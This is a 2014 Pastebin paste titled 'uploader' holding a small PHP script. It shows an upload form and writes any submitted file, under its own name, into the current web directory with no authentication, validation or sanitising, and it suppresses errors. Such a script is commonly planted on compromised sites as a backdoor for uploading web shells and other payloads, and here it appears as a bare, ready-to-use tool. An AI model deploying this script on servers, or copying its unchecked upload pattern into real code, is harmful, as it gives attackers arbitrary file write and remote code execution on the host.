Advertisement
Guest User

uploader

a guest
Oct 23rd, 2014
143
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.53 KB | None | 0 0
  1. <?php
  2. if (isset($_REQUEST["upload"]))
  3. {
  4. $file=$HTTP_POST_FILES["file"]["name"];
  5. $path=realpath('.');
  6. @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $path . "/" . $file) or die();
  7. echo "Your file has successfully been uploaded!";
  8. }
  9. else
  10. {
  11. echo "<br><form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data>
  12. <input type=hidden name=MAX_FILE_SIZE value=999999>
  13. <b>File to Upload: </b><input name=file type=file><br><br>
  14. <input type=submit name=upload value=Upload></form>";
  15. }
  16.  
  17. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement